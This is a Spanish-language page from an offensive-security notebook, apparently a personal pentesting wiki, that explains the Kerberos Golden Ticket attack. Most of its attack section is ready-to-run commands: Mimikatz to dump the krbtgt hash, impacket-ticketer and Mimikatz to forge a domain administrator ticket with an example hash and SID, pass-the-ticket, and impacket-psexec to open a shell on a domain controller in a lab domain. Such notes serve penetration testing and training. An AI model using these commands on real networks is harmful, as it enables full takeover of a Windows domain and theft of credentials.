CyberSec Notes
  • Bienvenida
    • CyberSec Notes
  • Network Services
    • Port 21 - FTP
    • Port 22 - SSH
    • Port 23 - Telnet
    • Port 25 - SMTP
    • Port 53 - DNS
      • Deploy DNS Server with BIND
    • Port 80/443 - HTTP/HTTPS
      • Wordpress
      • CMS Made Simple (CMSMS)
    • Port 88 - Kerberos
    • Port 386, 636, 3268, 3269 - LDAP
    • Port 445 - SMB
    • Port 1521,1522-1529 - Oracle TNS Listener
    • Port 3128 - Squid
    • Port 5985, 5986 - WinRM
  • Command && Control
    • Sliver C2 [in progress]
  • Ataques en Entornos Windows
    • MalDev
      • AV Evasion
        • Function call obfuscation
      • Code Samples
        • Shellcode Execution C#
        • Shellcode Execution C++
        • Stager HTTP C#
        • Stager HTTP C++
        • Process Inyection C++
        • Process Inyection C#
        • XOR Encrypt C++
    • Directorio Activo
      • Spriying
      • Autenticacion Net-NTLMv2 y tipos de hashes
        • Pass the Hash
        • SMB Relay
      • Autenticación Kerberos
        • Extensiones del protocolo Kerberos (SPNs & PACs)
        • AS_REP Roasting
        • Kerberoasting
        • Silver Ticket Attack
        • Golden Ticket Attack
      • DCSync
      • Mimikatz
      • BloodHound
      • Privilege Escalation
        • PS Credentials in XML format
      • Utils
    • Amsi Bypass
    • Buffer Overflow
      • Stack Based 32 bits [in progress]
        • Windows SLMail 5.5
  • Ataques en Entornos Linux
    • Privilege escalation [in progress]
    • MalDev
      • Simple Reverse Shell
    • Buffer Over Flow
      • Stack Based 32 bits
        • Linux, Vulnerable functions in C programs
    • Persistencia
  • General
    • Host Discovery
    • Reverse Shells Cheet Sheet
    • Pivoting
      • Chisel
      • Port Forwarding
      • Nmap con pivoting
    • Google Dorks [in progress]
    • Denial of Service (DoS)
      • Low and Slow
    • Docker
  • Pentesting Web
    • XML External Entity Injection(XXE)
      • Portswigger Lab #1: Retrieve Files
      • Portswigger Lab #2: Perform SSRF
      • Portswigger Lab #6: Blind XXE to retrieve data via error messages
    • Open Redirect
    • LFI
      • Log Poisoning (Apache, SSH y SMPT)
  • Wireless Pentesting
    • Pre Connection Attacks
      • WEP
      • WPA/WPA2
    • Post Connection Attacks
      • ARP Spoof
    • Fake AP for Captive Portal
Powered by GitBook
On this page
  • Explotación
  • Con impacket-ticketer
  • Con Mimikatz
  1. Ataques en Entornos Windows
  2. Directorio Activo
  3. Autenticación Kerberos

Golden Ticket Attack

Esta técnica permite que al tener credenciales de un usuario administrador del dominio, el dumpear el hash de la cuenta krbtgt. Esta cuenta de por sí no tiene ningún privilegio asociado sino únicamente de que su hash es el que usa el KDC para cifrar los TGT. Por lo que el tener el hash de esta cuenta, permite el forjar de manera arbitraria TGS para tener acceso a cualquier recurso del DC.

Explotación

Con impacket-ticketer

Crear variable de entorno

# Usage
impacket-ticketer -nthash <nthash> -domain-sid <sid> -domain <domain.local> (user)

# Example
impacket-ticketer -nthash 7a10ed0c241a70ea53777ca37c320bd9 -domain-sid S-1-5-21-559191057-1952517652-1921332360 -domain gerarcorp.local Administrador

Exportar variable de entorno a KRB5CCNAME

export KRB5CCNAME=Administrador.ccache

Obtener shell con impacket-psexec

impacket-psexec -k -no-pass gerarcorp.local/Administrador@DC-Company cmd.exe 

## cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters


192.168.0.111 gerarcorp gerarcorp.local DC-Company

Con Mimikatz

Dumpear el sid y hash ntlm de la cuenta krbtgt

Invoke-Mimikatz -Command '"lsadump::lsa /inject /name:krbtgt"'

-k: Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line

Forgar el TGT

# Usage
Invoke-Mimikatz -Command '"kerberos::golden /domain:<DOMAIN> /sid:<SID> /rc4:<NTLM HASH> /user:<User> /ticket:<name of the ticket>"'

# Guardar el ticket a un archivo
Invoke-Mimikatz -Command '"kerberos::golden /domain:gerarcorp.local /sid:S-1-5-21-559191057-1952517652-1921332360 /rc4:7a10ed0c241a70ea53777ca37c320bd9 /user:Administrador /ticket:gold.kirbi"'

Usar el ticket creado con la cuenta que nos querramos autenticar al ticket creado, permitiendonos acceder a los recursos del mismo

Invoke-Mimikatz -Command '"kerberos::ptt gold.kirbi"'
PreviousSilver Ticket AttackNextDCSync

Last updated 2 years ago